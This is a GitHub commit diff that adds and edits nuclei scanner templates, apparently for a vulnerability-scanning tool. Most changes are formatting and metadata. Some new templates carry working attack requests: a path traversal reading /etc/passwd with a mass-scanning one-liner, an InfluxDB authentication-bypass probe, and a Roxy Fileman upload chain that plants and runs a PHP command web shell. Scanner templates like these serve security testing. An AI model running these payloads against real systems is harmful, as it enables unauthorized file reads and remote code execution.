Skip to content

Commit 93dbf28

Browse files
hktalenthktalent
committed
add 3 PoCs 2022-08-23
1 parent 22b17f0 commit 93dbf28

37 files changed

+272
-12
lines changed

‎config/nuclei-templates/51pwn/pay001.xml

Lines changed: 25 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,25 @@
1+
id: logs-passwd
2+
info:
3+
name: logs-passwd
4+
severity: high
5+
author:
6+
- 51pwn
7+
description: |-
8+
cat rootDomains.txt | assetfinder -subs-only | httpx -silent -nc -p 80,443,8080,8443,9000,9001,9002,9003,8888,8088,8808 -path "/logs/downloadMainLog?fname=../../../../../../..//etc/passwd" -mr "root:x:" -t 60
9+
10+
requests:
11+
- raw:
12+
- |
13+
GET /logs/downloadMainLog?fname=../../../../../../..//etc/passwd HTTP/1.1
14+
Host: {{Hostname}}
15+
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
16+
17+
18+
matchers:
19+
- type: word
20+
part: body
21+
words:
22+
- 'root:x:'
23+
24+
redirects: false
25+

‎config/nuclei-templates/cves/2018/CVE-2018-19749.yaml

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,5 @@
11
id: CVE-2018-19749
2+
23
info:
34
name: DomainMOD 4.11.01 - Cross-Site Scripting
45
author: arafatansari

‎config/nuclei-templates/cves/2019/CVE-2019-18665.yaml

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,5 @@
11
id: CVE-2019-18665
2+
23
info:
34
name: DOMOS 5.5 - Local File Inclusion
45
author: 0x_Akoko

‎config/nuclei-templates/cves/2019/CVE-2019-20933.yaml

Lines changed: 39 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,39 @@
1+
id: CVE-2019-20933
2+
3+
info:
4+
name: Authentication Bypass InfluxDB
5+
author: pussycat0x,c-sh0
6+
severity: critical
7+
description: InfluxDB before 1.7.6 has an authentication bypass vulnerability in the authenticate function in services/httpd/handler.go because a JWT token may have an empty SharedSecret (aka shared secret).
8+
reference:
9+
- https://github.com/LorenzoTullini/InfluxDB-Exploit-CVE-2019-20933
10+
- https://nvd.nist.gov/vuln/detail/CVE-2019-20933
11+
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-20933
12+
- https://github.com/influxdata/influxdb/compare/v1.7.5...v1.7.6
13+
remediation: Update Influxdb to version 1.6.7~rc0-1 or higher.
14+
classification:
15+
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
16+
cvss-score: 9.8
17+
cve-id: CVE-2019-20933
18+
cwe-id: CWE-287
19+
metadata:
20+
shodan-dork: InfluxDB
21+
verified: "true"
22+
tags: unauth,db,influxdb,misconfig
23+
requests:
24+
- method: GET
25+
path:
26+
- "{{BaseURL}}/query?db=db&q=SHOW%20DATABASES"
27+
28+
matchers-condition: and
29+
matchers:
30+
- type: word
31+
part: body
32+
words:
33+
- '"results":'
34+
- '"name":"databases"'
35+
condition: and
36+
37+
- type: status
38+
status:
39+
- 200

‎config/nuclei-templates/cves/2020/CVE-2020-20988.yaml

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,5 @@
11
id: CVE-2020-20988
2+
23
info:
34
name: DomainMOD 4.13.0 - Cross-Site Scripting
45
author: arafatansari

‎config/nuclei-templates/cves/2021/CVE-2021-24910.yaml

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -4,13 +4,15 @@ info:
44
name: Transposh WordPress < 1.0.7 - Reflected Cross-Site Scripting (XSS)
55
author: Screamy
66
severity: medium
7+
description: |
8+
The Transposh WordPress Translation WordPress plugin before 1.0.8 does not sanitise and escape the a parameter via an AJAX action (available to both unauthenticated and authenticated users when the curl library is installed) before outputting it back in the response, leading to a Reflected Cross-Site Scripting issue
79
reference:
810
- https://www.rcesecurity.com/2022/07/WordPress-Transposh-Exploiting-a-Blind-SQL-Injection-via-XSS/
911
- https://github.com/MrTuxracer/advisories/blob/master/CVEs/CVE-2021-24910.txt
1012
- https://wpscan.com/vulnerability/b5cbebf4-5749-41a0-8be3-3333853fca17
1113
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-24910
1214
metadata:
13-
verified: true
15+
verified: "true"
1416
tags: cve,cve2021,wordpress,wp-plugin,xss,wp
1517

1618
requests:

‎config/nuclei-templates/cves/2021/CVE-2021-37589.yaml

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,5 @@
11
id: CVE-2021-37589
2+
23
info:
34
name: Virtua Software Cobranca <12R - Blind SQL Injection
45
author: princechaddha

‎config/nuclei-templates/cves/2021/CVE-2021-41569.yaml

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,5 @@
11
id: CVE-2021-41569
2+
23
info:
34
name: SAS/Internet 9.4 1520 - Local File Inclusion
45
author: 0x_Akoko

‎config/nuclei-templates/cves/2022/CVE-2022-0540.yaml

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -10,6 +10,7 @@ info:
1010
- https://blog.viettelcybersecurity.com/cve-2022-0540-authentication-bypass-in-seraph/
1111
- https://nvd.nist.gov/vuln/detail/CVE-2022-0540
1212
- https://confluence.atlassian.com/display/JIRA/Jira+Security+Advisory+2022-04-20
13+
remediation: Ensure you are using the latest version and that all security patches have been applied.
1314
classification:
1415
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
1516
cvss-score: 9.8

‎config/nuclei-templates/cves/2022/CVE-2022-0594.yaml

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,5 @@
11
id: CVE-2022-0594
2+
23
info:
34
name: Shareaholic < 9.7.6 - Information Disclosure
45
author: atomiczsec

‎config/nuclei-templates/cves/2022/CVE-2022-27849.yaml

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,5 @@
11
id: CVE-2022-27849
2+
23
info:
34
name: WordPress Simple Ajax Chat <20220116 - Sensitive Information Disclosure vulnerability
45
author: random-robbie

‎config/nuclei-templates/cves/2022/CVE-2022-27927.yaml

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,5 @@
11
id: CVE-2022-27927
2+
23
info:
34
name: Microfinance Management System 1.0 - SQL Injection
45
author: lucasljm2001,ekrause

‎config/nuclei-templates/cves/2022/CVE-2022-36883.yaml

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,5 @@
11
id: CVE-2022-36883
2+
23
info:
34
name: Git Plugin up to 4.11.3 on Jenkins Build Authorization
45
author: c-sh0

‎config/nuclei-templates/default-logins/hybris/hybris-default-login.yaml

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,5 @@
11
id: hybris-default-login
2+
23
info:
34
name: Hybris Default Login
45
author: princechaddha

‎config/nuclei-templates/exposed-panels/ibm/ibm-maximo-login.yaml

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,5 @@
11
id: ibm-maximo-login
2+
23
info:
34
name: IBM Maximo Login Panel
45
author: ritikchaddha

‎config/nuclei-templates/exposed-panels/ibm/ibm-websphere-admin-panel.yaml

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,5 @@
11
id: ibm-websphere-admin-panel
2+
23
info:
34
name: WebSphere Application Server Community Edition Admin Panel
45
author: ritikchaddha

‎config/nuclei-templates/exposed-panels/nagvis-panel.yaml

Lines changed: 32 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,32 @@
1+
id: nagvis-panel
2+
3+
info:
4+
name: Nagvis Panel Detect
5+
author: ritikchaddha
6+
severity: info
7+
metadata:
8+
verified: true
9+
shodan-query: http.html:"NagVis"
10+
tags: panel,nagvis
11+
12+
requests:
13+
- method: GET
14+
path:
15+
- "{{BaseURL}}"
16+
- "{{BaseURL}}/nagvis/frontend/nagvis-js/index.php"
17+
18+
stop-at-first-match: true
19+
redirects: true
20+
max-redirects: 2
21+
matchers-condition: and
22+
matchers:
23+
- type: word
24+
part: body
25+
words:
26+
- "/nagvis/frontend"
27+
- "<title>NagVis"
28+
condition: or
29+
30+
- type: status
31+
status:
32+
- 200

‎config/nuclei-templates/exposed-panels/roxy-fileman.yaml

Lines changed: 34 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,34 @@
1+
id: roxy-fileman
2+
3+
info:
4+
name: Roxy Fileman Detect
5+
author: liquidsec,DhiyaneshDk
6+
severity: info
7+
metadata:
8+
verified: true
9+
google-dork: intitle:"Roxy file manager"
10+
tags: tech,fileupload,roxy,fileman
11+
12+
requests:
13+
- method: GET
14+
path:
15+
- "{{BaseURL}}/index.html"
16+
- "{{BaseURL}}/fileman/index.html"
17+
- "{{BaseURL}}/fileman/php/fileslist.php"
18+
- "{{BaseURL}}/fileman/asp_net/main.ashx"
19+
20+
stop-at-first-match: true
21+
redirects: true
22+
max-redirects: 2
23+
matchers-condition: and
24+
matchers:
25+
- type: word
26+
part: body
27+
words:
28+
- 'Roxy file manager'
29+
- '[{"p":"'
30+
condition: or
31+
32+
- type: status
33+
status:
34+
- 200

‎config/nuclei-templates/exposures/files/redmine-config.yaml

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,5 @@
11
id: redmine-config
2+
23
info:
34
name: Redmine Configuration
45
author: DhiyaneshDK

‎config/nuclei-templates/misconfiguration/jolokia/jolokia-info-disclosure.yaml

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,5 @@
11
id: jolokia-info-disclosure
2+
23
info:
34
name: Jolokia - Information disclosure
45
author: pussycat0x

‎config/nuclei-templates/misconfiguration/jolokia/jolokia-list.yaml

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,5 @@
11
id: jolokia-list
2+
23
info:
34
name: Jolokia - List
45
author: pussycat0x
@@ -24,4 +25,4 @@ requests:
2425
- type: word
2526
part: body
2627
words:
27-
- '"type":"list"'
28+
- '"type":"list"'

‎config/nuclei-templates/misconfiguration/jolokia/jolokia-mbean-search.yaml

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,5 @@
11
id: jolokia-mbean-search
2+
23
info:
34
name: Jolokia - Searching MBeans
45
author: pussycat0x
@@ -26,4 +27,4 @@ requests:
2627
words:
2728
- '"type":"search"'
2829
- '"value":'
29-
condition: and
30+
condition: and

‎config/nuclei-templates/misconfiguration/roxyfileman-fileupload.yaml

Lines changed: 82 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,82 @@
1+
id: roxyfileman-fileupload
2+
3+
info:
4+
name: Roxy Fileman 1.4.4 - Arbitrary File Upload
5+
author: DhiyaneshDK
6+
severity: critical
7+
description: |
8+
The Roxy File Manager has a configuration setting named FORBIDDEN_UPLOADS,which keeps a list of forbidden file extensions that the application will not allow to be uploaded. This configuration setting is also checked when renaming an existing file to a new file extension.It is possible to bypass this check and rename already uploaded files to any extension, using the move function as this function does not perform any checks.
9+
reference:
10+
- https://www.exploit-db.com/exploits/39963
11+
metadata:
12+
verified: "true"
13+
google-dork: intitle:"Roxy file manager"
14+
tags: roxy,fileman,rce,upload,intrusive,misconfig
15+
16+
requests:
17+
- raw:
18+
- |
19+
POST /php/upload.php HTTP/1.1
20+
Host: {{Hostname}}
21+
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary6rbEqFAMRkE0RAB7
22+
23+
------WebKitFormBoundary6rbEqFAMRkE0RAB7
24+
Content-Disposition: form-data; name="action"
25+
26+
upload
27+
------WebKitFormBoundary6rbEqFAMRkE0RAB7
28+
Content-Disposition: form-data; name="method"
29+
30+
ajax
31+
------WebKitFormBoundary6rbEqFAMRkE0RAB7
32+
Content-Disposition: form-data; name="d"
33+
34+
/app/Uploads
35+
------WebKitFormBoundary6rbEqFAMRkE0RAB7
36+
Content-Disposition: form-data; name="files[]"; filename="{{randstr}}.jpg"
37+
Content-Type: image/jpeg
38+
39+
<?php
40+
echo exec($_GET["cmd"]);
41+
?>
42+
43+
------WebKitFormBoundary6rbEqFAMRkE0RAB7--
44+
45+
- |
46+
POST /php/renamefile.php?f=%2Fapp%2FUploads%2F{{randstr}}.jpg&n={{randstr}}.php HTTP/1.1
47+
Host: {{Hostname}}
48+
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
49+
X-Requested-With: XMLHttpRequest
50+
51+
f=%2Fapp%2FUploads%2F{{randstr}}.jpg&n={{randstr}}.php
52+
53+
- |
54+
POST /php/movefile.php?f=%2Fapp%2FUploads%2F{{randstr}}.jpg&n=%2Fapp%2FUploads%2F{{randstr}}.php HTTP/1.1
55+
Host: {{Hostname}}
56+
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
57+
X-Requested-With: XMLHttpRequest
58+
59+
f=%2Fapp%2FUploads%2F{{randstr}}.jpg&n=%2Fapp%2FUploads%2F{{randstr}}.php
60+
61+
- |
62+
GET /Uploads/{{randstr}}.php?cmd=echo+"roxyfileman"+|+rev HTTP/1.1
63+
Host: {{Hostname}}
64+
65+
cookie-reuse: true
66+
redirects: true
67+
max-redirects: 2
68+
matchers-condition: and
69+
matchers:
70+
- type: regex
71+
part: body
72+
regex:
73+
- "namelifyxor"
74+
75+
- type: word
76+
part: header
77+
words:
78+
- text/html
79+
80+
- type: status
81+
status:
82+
- 200

‎config/nuclei-templates/technologies/samsung-smarttv-debug.yaml

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,5 @@
11
id: samsung-smarttv-debug
2+
23
info:
34
name: Samsung SmartTV Debug Config
45
author: pussycat0x

‎config/nuclei-templates/technologies/sap-spartacus-detect.yaml

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,5 @@
11
id: sap-spartacus-detect
2+
23
info:
34
name: SAP Spartacus detect
45
author: TechbrunchFR

‎config/nuclei-templates/vulnerabilities/other/devalcms-xss.yaml

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,5 @@
11
id: devalcms-xss
2+
23
info:
34
name: Devalcms 1.4A - Cross-Site Scripting
45
author: arafatansari

‎config/nuclei-templates/workflows/azure-workflow.yaml

Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,9 @@
1+
id: azure-workflow
2+
3+
info:
4+
name: Azure Checks
5+
author: DhiyaneshDk
6+
description: A simple workflow that runs all Azure related nuclei templates on a given target.
7+
8+
workflows:
9+
- tags: azure

‎config/nuclei-templates/workflows/dell-idrac-workflow.yaml

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,5 @@
11
id: dell-idrac-workflow
2+
23
info:
34
name: Dell iDRAC Security Checks
45
author: kophjager007
@@ -19,4 +20,4 @@ workflows:
1920

2021
- template: technologies/dell/dell-idrac9-detect.yaml
2122
subtemplates:
22-
- template: default-logins/dell/dell-idrac9-default-login.yaml
23+
- template: default-logins/dell/dell-idrac9-default-login.yaml

0 commit comments

Comments
 (0)